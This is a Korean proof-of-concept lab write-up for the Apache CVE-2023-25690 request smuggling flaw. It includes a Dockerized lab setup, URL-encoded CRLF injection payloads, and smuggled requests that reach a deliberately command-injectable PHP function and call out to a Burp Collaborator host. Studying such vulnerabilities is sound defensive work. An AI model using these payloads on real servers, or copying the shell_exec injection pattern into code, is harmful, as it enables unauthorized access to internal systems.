
CVE 2023 25690 개념 증명 - Apache HTTP Server 2.4.0 - 2.4.55 버전에서 mod_proxy의 취약한 구성이 HTTP Request Smuggling 취약점으로 이어집니다.
Apache HTTP Server 버전 2.4.0부터 2.4.55까지의 일부 mod_proxy 설정은 HTTP 요청 밀반입(HTTP Request Smuggling) 공격을 허용합니다. mod_proxy가 활성화되고 RewriteRule 또는 ProxyPassMatch와 같은 일부 형태가 사용될 때, 사용자가 제공한 요청 대상(URL) 데이터의 일부와 일치하는 비특정 패턴이 변수 치환을 통해 프록시 요청 대상에 다시 삽입되는 경우 영향을 받는 설정입니다. 예를 들어 다음과 같은 경우입니다:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
요청 분할/밀반입은 프록시 서버의 액세스 제어 우회, 의도하지 않은 URL을 기존 오리진 서버로 프록시 처리, 캐시 중독을 초래할 수 있습니다. 사용자는 Apache HTTP Server를 최소 버전 2.4.56으로 업데이트할 것을 권장합니다.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apache 설정에 RewriteEngine on이 포함되면 URL 재작성 엔진이 활성화됩니다. URL 재작성은 웹 서버가 클라이언트 브라우저가 요청한 URL을 콘텐츠를 제공하기 전에 동적으로 다른 URL로 변경할 수 있게 해주는 기술입니다.
예를 들어 온라인 쇼핑몰에 다음과 같은 URL 구조가 있다고 가정해 보겠습니다:
https://example-shop.com/categories/1
Apache 설정 파일에 다음과 같은 RewriteRule 지시문이 있다고 가정합니다:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
사용자가 https://example-shop.com/categories/1 URL을 요청하면 RewriteRule이 URL과 일치하고 정규 표현식 ^/categories/(.*)을 사용하여 값 1을 캡처합니다. 그런 다음 이 규칙은 캡처된 값을 재작성된 URL에 쿼리 매개변수 id로 추가하여 URL을 http://example-shop.com:8080/categories?id=1로 재작성합니다.
규칙에 [P] 플래그가 있으므로 Apache는 재작성된 URL을 프록시 요청으로 처리하여 대상 서버인 http://example-shop.com:8080/categories에 쿼리 매개변수 id가 1로 설정된 상태로 전달합니다. 대상 서버는 요청을 처리하고 응답을 Apache로 다시 보내며, Apache는 이를 클라이언트에 전달합니다.
요약하면, [P] 플래그가 있는 RewriteRule 지시문은 URL을 재작성하고 다른 서버로 프록시하는 데 사용됩니다. 이 경우 규칙은 /categories/로 시작하는 URL과 일치하고 캡처된 값을 재작성된 URL에 쿼리 매개변수 id로 추가합니다. 그런 다음 Apache는 요청을 대상 서버로 전달하고, 대상 서버가 요청을 처리하여 응답을 반환합니다.
마지막으로 ProxyPassReverse /categories/ http://example-shop.com:8080/는 백엔드 서버의 도메인과 경로를 프록시 서버의 도메인과 경로로 대체하여 클라이언트가 링크를 올바르게 따라가고 프록시된 백엔드 서버의 콘텐츠를 마치 프록시 서버에서 직접 제공되는 것처럼 액세스할 수 있도록 합니다.

Apache의 취약점을 시뮬레이션하기 위해 httpd 버전 2.4.55를 사용합니다. 또한 전체 랩은 설정, 구성 및 재현성을 쉽게 하기 위해 도커화됩니다.
랩 파일 구조는 다음과 같습니다:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
최종 httpd.conf 설정은 아래와 같이 구성됩니다:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# 필요한 모듈 로드
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
docker-compose.exe up --build 명령어를 사용하여 랩을 시작하세요.
이 섹션에서는 CRLF 주입이 어떻게 내부 HTTP 요청 밀반입으로 이어져 공격자가 달리 접근할 수 없는 내부 리소스에 무단 액세스할 수 있게 하는지 설명하겠습니다.
권고 설명에 따르면 httpd <=2.4.55는 HTTP 응답 분할(CRLF 주입)에 취약합니다.
CRLF 주입은 다음과 같은 경우 발생합니다:
이는 우리의 경우 다음 CRLF 접두사를 URL에 전달하여 확인할 수 있습니다:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
위 접두사를 URL에 추가하면 최종 요청은 다음과 같이 됩니다:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
요청 후 서버는 데이터를 처리하고 200 응답 코드를 반환하여 CRLF 주입에 취약함을 나타냅니다.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTP 요청 분할에 대한 자세한 정보는 다음에서 확인할 수 있습니다: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
헤더 주입을 사용하여 내부 HTTP 요청 밀반입을 수행하겠습니다.
다음 접두사로 시작하겠습니다:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
그리고 다음 요청을 사용합니다:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
재작성 규칙을 적용하면 요청은 다음과 같은 형식으로 변환됩니다:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
여기서 인코딩된 URL이 유효한 HTTP 구문으로 디코딩되어 백엔드가 디코딩된 데이터를 두 번째 요청으로 처리하게 됩니다.
내부 애플리케이션에 다음과 같은 비밀 코드가 있다고 가정해 보겠습니다:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
다음 접두사를 사용하면 숨겨진 기능에 두 번째 요청을 보낼 수 있습니다:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
그리고 Burp Collaborator에서 요청을 받습니다:

패치:
이 취약점의 영향은 공격자가 리버스 프록시에 의해 숨겨지도록 의도된 내부 애플리케이션을 대상으로 액세스할 수 있게 하여, 잠재적으로 무단 액세스, 데이터 유출 또는 추가 악용으로 이어질 수 있다는 점입니다.